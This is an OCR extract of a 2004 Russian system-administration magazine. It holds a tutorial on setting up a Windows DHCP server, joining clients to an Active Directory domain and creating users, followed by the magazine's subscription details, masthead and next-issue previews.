Настройка DHCP-сервераПуск →→→→→ Программы →→→→→ Администрирование →→→→→ DHCP. В кон-соли выделяем наш сервер (server.firma.local), который ото-бражается красной стрелочкой. Щелкаем правой клавишеймыши по нему – «Создать область». Вводим ее название,например «firma», и жмем «Далее». Вводим начальный иконечный диапазон IP-адресов, которые мы хотим выделитьнашим клиентам. Например, начальный адрес –192.168.0.10 (оставляем 10 запасных адресов под серве-ра), конечный адрес – 192.168.0.100 (оставляем 155 адре-сов на случай расширения и создания еще одного сервераDHCP). Предлагаемую маску меняем на 255.255.255.0. Ос-тальное оставляем как есть. Нажимаем «Далее». Диапа-зон исключаемых адресов пропускаем. Срок аренды остав-ляем 8 дней. Соглашаемся с предложением настроить сей-час дополнительные параметры этой области. В качествеIP-адреса маршрутизатора указываем IP-адрес нашегошлюза в Интернет (тот, что задается вручную в поле «Шлюзпо умолчанию») или оставляем это поле пустым, если вы-хода в Интернет у нас нет. Затем задаем родительский до-мен (firma.local) и адрес DNS-сервера (192.168.0.1). Поле«WINS-Серверы» оставляем пустым (если мы не использу-ем WINS-сервер для обслуживания клиентов W9x). Отве-чаем «Да, я хочу активизировать эту область сейчас». Зак-рываем окно мастера.

В консоли DHCP опять кликаем правой клавишей по на-шему серверу и выбираем «Авторизовать». Ждем несколькоминут и нажимаем <F5> (обновить). Стрелочка на нашемсервере должна стать зеленой. Если этого не произошло –закройте консоль DHCP, затем через несколько минут от-кройте заново и нажмите <F5>. Стрелка должна поменятьцвет на зеленый. Настройка DHCP-сервера закончена. При-ступим к настройке клиентов.

Настройка клиентовПодразумевается, что на всех клиентах установлены опе-рационные системы Windows 2000 и выше.

На каждом клиенте регистрируемся с правами локаль-ного администратора, заходим в свойства сетевого окру-жения, выбираем свойства сетевого подключения по ло-кальной сети и редактируем свойства «Протокола Интер-нета (TCP/IP)». Задаем всем клиентам «Получить IP-адресавтоматически» и «Получить адрес DNS-сервера автома-тически». После этого перезагружаем каждого клиента.Можно обновить параметры, и не прибегая к перезагруз-ке, – написав в командной строке:

DHCP-сервер автоматически выдаст каждому клиенту IP-адрес из заданного вами диапазона, а также присвоит ад-реса шлюза по умолчанию и DNS-сервера.

Если по каким-либо причинам вы не используете DHCP-сервер или хотите присвоить одному из клиентов (напри-мер, другому серверу, входящему в домен) IP-адрес вруч-ную, задайте IP-адрес из нашего диапазона, а также шлюзпо умолчанию, и обязательно(!) адрес DNS-сервера (в на-шем примере его адрес – 192.168.0.1).

После перезагрузки вводим клиентов в домен. ДляWindows 2000/XP: правой клавишей по Мой компьютер →→→→→Свойства →→→→→ Сетевая идентификация →→→→→ Свойства. Прове-ряем имя компьютера. Оно обязательно должно быть на-писано латинскими буквами, без пробелов и спецсимволов,запрещенных к применению в именах клиентов. Если этоне так, то переименовываем и перезагружаем компьютер.Затем ставим галочку «Является членом домена» и зада-ем имя нашего домена: firma.local. Система потребует вве-сти имя и пароль пользователя, имеющего право на введе-ние компьютеров в домен. Вводим «Администратор» и нашпароль. Через некоторое время вы увидите приглашение вдомен и предложение перезагрузить компьютер.

Если этого не произошло – проверьте, воткнут ли сете-вой кабель в сервер, в клиентский компьютер, и включеныли они оба. Также необходимо проверить корректность на-стройки протокола TCP/IP. В командной строке даем коман-ду: ipconfig /all и смотрим результат. Среди выданной ин-формации находим нужную нам – об IP-адресе, маске, шлю-зе и DNS-сервере. Она должна быть примерно такой:

Если в поле IP-адрес стоит что-то типа: 169.254.xxx.xxx –ваш клиент не смог получить от DHCP-сервера IP-адрес.Проверяйте работоспособность DHCP-сервера и физичес-кой сети (проводов). Если же все нормально, то проверяемнастройку DNS-сервера, как описано выше, в разделе DNS-сервер. Если проблемы есть, первым делом проверьте, неостановлены ли на сервере службы DHCP и DNS (некото-рые любят «улучшать параметры», удаляя или останавли-вая неизвестные им службы). После введения клиента вдомен и перезагрузки в окне входа выбираем «Дополни-тельно» и меняем <Имя компьютера> (этот компьютер) наназвание нашего домена (FIRMA). После чего вводим имяпользователя и пароль и входим в систему. Пользователейнеобходимо завести на контроллере домена.

ipconfig /renew

IP-адрес . . . . . . . . . . : 192.168.0.11

Маска подсети . . . . . . . . . . : 255.255.255.0

Основной шлюз . . . . . . . . . . : 192.168.0.254

DNS-серверы . . . . . . . . . . : 192.168.0.1

C:\>nslookup 192.168.0.1

Server: Server.firma.local

Address: 192.168.0.1

Name: Server.firma.local

Address: 192.168.0.1

Page 96: 023 Системный Администратор 10 2004

94

образование

Настройка домена,заведение пользователейПервым делом переводим контроллер домена в основной ре-жим (NATIVE-MODE). Убедитесь, что в вашем домене отсут-ствуют другие контроллеры домена под управлениемWindows NT 4 Server. Затем открываем Пуск →→→→→ Программы →→→→→Администрирование →→→→→ Active Directory →→→→→ Пользователи икомпьютеры. Если меню «Администрирование» в «Програм-мах» нет, то можно найти его в «Панели управления» илищелкнув правой клавишей по панели задач – Свойства →→→→→Дополнительно →→→→→ Отображать меню «Администрирование».

В оснастке Active Directory →→→→→ Пользователи и компью-теры правой клавишей кликаем по нашему домену и выби-раем «Свойства». Пункт Общие →→→→→ Режим работы домена.У нас установлен «Смешанный режим». Нажимаем «Сме-нить режим» и соглашаемся с предупреждением о необра-тимости операции.

Теперь настроим синхронизацию времени с контролле-ром домена на клиентах с операционными системами ниже,чем Windows 2000. Создадим на системном диске папку,например, Apps. В ней создаем текстовый файл с расши-рением *.bat. Обратите внимание, чтобы у файла не былодвойного расширения, так как стандартная команда «Со-здать – Текстовый файл» создает именно *.txt-файл, а поумолчанию Windows скрывает расширения. Исправляемэто: в «проводнике» – Сервис →→→→→ Свойства папки →→→→→ Вид –снимаем галочку «Скрывать расширения для зарегистри-рованных типов файлов».

Создаем в нашей папке Apps текстовый файл logon.bat,открываем его и вводим в него следующие команды:

где вместо «server» вставляем имя созданного нами сер-вера, если назвали его иначе. Сохраняем файл.

Затем снова открываем консоль Active Directory →→→→→Пользователи и компьютеры и вызываем свойства нашегодомена, как при переводе в основной режим. Открываемзакладку «Групповая политика» и нажимаем «Изменить».Откроется консоль «Групповая политика». Конфигурацияпользователя →→→→→ Конфигурация Windows →→→→→ Сценарии (входи выход). Дважды щелкаем на Вход в систему →→→→→ Доба-вить →→→→→ Обзор. Выделяем в маске выбираемых файлов «Всефайлы» и проводником находим наш файл «logon.bat». Вы-бираем его и нажимаем дважды «ОК». Закрываем окно«Групповая политика» и в открытом нами окне «Свойства»нажимаем «Применить», затем «ОК».

Клиенты домена с ОС Windows 2000 и выше – автома-тически синхронизируют время с контроллерами домена.

В открытой консоли «Active Directory →→→→→ Пользователи икомпьютеры» раскрываем значком «+» наш домен. Затемправой клавишей по корню домена (firma.local) – Создать→→→→→ Подразделение. Вводим имя нового подразделения, на-пример All_Users. В него мы будем помещать всех пользо-вателей нашего домена и другие вложенные подразделе-ния. Это необходимо для дальнейшего создания и редак-тирования групповых политик, при помощи которых можноавтоматически присваивать необходимые параметры и на-стройки компьютерам и пользователям домена.

Теперь щелкаем правой клавишей по созданному намиподразделению All_Users и снова выбираем Создать →→→→→ Под-разделение. Вводим имя подразделения администраторовдомена, например, Admins. Затем щелкаем по подразделе-нию Admins правой клавишей – Свойства. Переходим на зак-ладку «Групповая политика». Выставляем галку Блокироватьнаследование политики →→→→→ Применить →→→→→ ОК. Это необходи-мо сделать для того, чтобы заданные для всех ограниченияне распространялись на администраторов домена. Иначеможно с удивлением обнаружить, что вы с полномочиямиадминистратора домена также не имеете прав на измене-ние каких-либо настроек.

Теперь заведем полноценного администратора домена,на которого не будут распространяться общие групповыеполитики. Снова щелкаем правой клавишей по Admins →→→→→Создать →→→→→ Пользователь. Вводим имя и фамилию, а такжеимя для входа в систему (logon name). Щелкаем «Далее»,вводим и подтверждаем пароль этого пользователя. ЖмемДалее →→→→→ Готово. Созданный нами пользователь появится вправой части консоли при открытии подразделения Admins.Щелкаем по нему правой клавишей и выбираем «Свойства».Закладка Член групп →→→→→ Добавить. Добавляем все группыадминистраторов. Несмотря на то что группа «Администра-торы» уже включает в себя подгруппы «Администраторыдомена» и «Администраторы предприятия», лучше продуб-лировать их для предотвращения возможных ошибок исклю-чения из групп. Жмем «ОК» и в появившемся списке выде-ляем «Администраторы предприятия». Щелкаем по кнопке«Задать основную группу». Затем выделяем группу «Пользо-ватели домена» и жмем «Удалить». Подтверждаем свой вы-бор. Выходим из окна «Свойства», нажав «ОК».

Закрываем оснастку Active Directory →→→→→ Пользователи икомпьютеры. Мы создали домен и первого пользователя внем. Эту учетную запись вы будете использовать для ад-министрирования домена. Внимание! Помните, что рабо-тать повседневно под учетной записью, имеющей полно-мочия «Администратора домена» крайне неразумно! Онадолжна использоваться только для произведения измене-ний в домене. Для запуска приложений от имени другойучетной записи необязательно завершать текущий сеанс.Удерживая клавишу <Shift>, щелкните по ярлыку вашегоприложения правой клавишей мыши. Выбрав «Запуск отимени…», введите необходимые учетные данные. Прило-жение запустится с привилегиями этой учетной записи.Очень удобно применять, например, для изменения инфор-мации при помощи файловых менеджеров. Не забудьтезакрыть приложение после произведения всех необходи-мых действий.

Теперь создадим нашу первую пользовательскую учет-ную запись. Выделяем подразделение All_Users, правойклавишей – Создать →→→→→ Пользователь. По описанной ана-логии создаем для себя пользователя, под которым вы бу-дете работать повседневно. При этом не добавляемпользователю членств в группах – он автоматически бу-дет включен в группу «Пользователи домена». Все! Даль-нейшее заведение пользователей аналогично описанно-му примеру.

В следующем номере мы рассмотрим пример настрой-ки сервера приложений (сервер терминалов).

@echo offnet time \\server /set /yes

Page 97: 023 Системный Администратор 10 2004

Российская Федерация! Подписной индекс: 81655

Каталог агентства «Роспечать»! Подписной индекс: 87836

Объединенный каталог «Пресса России»Адресный каталог «Подписка за рабочим столом»Адресный каталог «Библиотечный каталог»

! Альтернативные подписные агентства:Агентство «Интер-Почта» (095) 500-00-60, курьерскаядоставка по МосквеАгентство «Вся Пресса» (095) 787-34-47Агентство «Курьер-Прессервис»

! Подписка On-linehttp://www.arzy.ruhttp://www.gazety.ruhttp://www.presscafe.ru

СНГВ странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номенкла-туры АРЗИ:! Казахстан – по каталогу «Российская Пресса» через

ОАО «Казпочта» и ЗАО «Евразия пресс»! Беларусь – по каталогу изданий стран СНГ через РГО

«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

! Узбекистан – по каталогу «Davriy nashrlar» российскиеиздания через агентство по распространению печати«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,5/3, офис 33)

! Азербайджан – по объединенному каталогу российскихизданий через предприятие по распространению печа-ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

! Армения – по списку номенклатуры «АРЗИ» через ГЗАО«Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-на, 22)

! Грузия – по списку номенклатуры «АРЗИ» через АО«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)

! Молдавия – по каталогу через ГП «Пошта Молдавей»(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)по списку через ГУП «Почта Приднестровья» (МD-3300,г.Тирасполь, ул.Ленина, 17)по прайслисту через ООО Агентство «Editil Periodice»(2012, г.Кишинев, бул. Штефан чел Маре, 134)

! Подписка для Украины:Киевский главпочтампПодписное агентство «KSS»Телефон/факс (044)464-0220

Подписныеиндексы:

81655по каталогуагентства«Роспечать»

87836по каталогуагентства«ПрессаРоссии»

подписка на I полугодие 2005

95№10(23), октябрь 2004

Page 98: 023 Системный Администратор 10 2004

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№10(23), Октябрь, 2004 год

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторАндрей Бешков

РЕКЛАМНАЯ СЛУЖБАтел./факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]Дизайн обложкиНиколай Петрочук

103045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 7000 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответствен-ность несет автор. За содержаниерекламного обьявления ответствен-ность несет рекламодатель. Все пра-ва на опубликованные материалы за-щищены. Редакция оставляет за со-бой право изменять содержание сле-дующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Вы можете приобретать журналы в магазинахи торговых точках г. Москвы по адресам:

! Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38).! Выставочный компьютерный центр «Савеловский» (Киоск у главного входа).! Выставочный компьютерный центр «Буденовский».! Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литерату-

ра» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09).! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9).! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).

On-line магазины:

! www.allsoft.ru! www.linuxcenter.ru! www.linuxshop.ru! www.bolero.ru

Уважаемые читатели!

НЕ ПРОПУСТИТЕ ПОДПИСКУна первое полугодие 2005 года

подробная информация на стр. 95

Заметки о Linare«Заметки о Linare» открывают циклстатей, посвященных настольным ди-стрибутивам Linux. Вопрос об исполь-зовании Linux на клиентских местах об-суждается сейчас очень широко – со-здается такое впечатление, что каждоеуважающее себя аналитическое агент-ство считает своим долгом подготовитьисследование, дающее исчерпываю-щий ответ на вопрос, когда Windowsокончательно сдаст свои позиции,сколько это будет стоить и случится ливообще. Не отстают и гиганты индуст-рии: «тяжеловесы» вроде Novell и SunMicrosystems выпускают собственныеразработки с обязательной приставкой«Desktop». Мы же, в свою очередь, по-пробуем рассмотреть этот феномен спозиций конечного пользователя. Чемнастольный Linux отличается от своих«ненастольных» аналогов? Как ведетсебя в работе тот или иной дистрибу-тив, можно ли использовать его длярешения определенного кргуа задач?Вот те вопросы, на которые мы попы-таемся дать ответ.

Пакетный фильтрOpenBSDВ статье пойдет речь о возможностяхи особенностях настройки пакетногофильтра Packet Filter (PF), входящегов стандартный дистрибутив системыOpenBSD, начиная с версии 3.0.

Создание сценариярегистрации пользователейв сетиВ предыдущих статьях я рассказывал отом, как автоматизировать различныепроцессы в сети. Решение поставлен-ной задачи нетривиально и состоит изнескольких частей. Одной из них явля-ется сценарий регистрации пользовате-лей в сети. По своему характеру онаносила концептуальный характер, одна-ко на форуме журнала читатели далипонять, что концепция – это хорошо, нонеобходимо привести конкретный при-мер. Пришла пора сложить недостаю-щие кусочки мозаики в одно целое иподробно рассказать о теоретическихи практических аспектах его созданияи особенностях внедрения.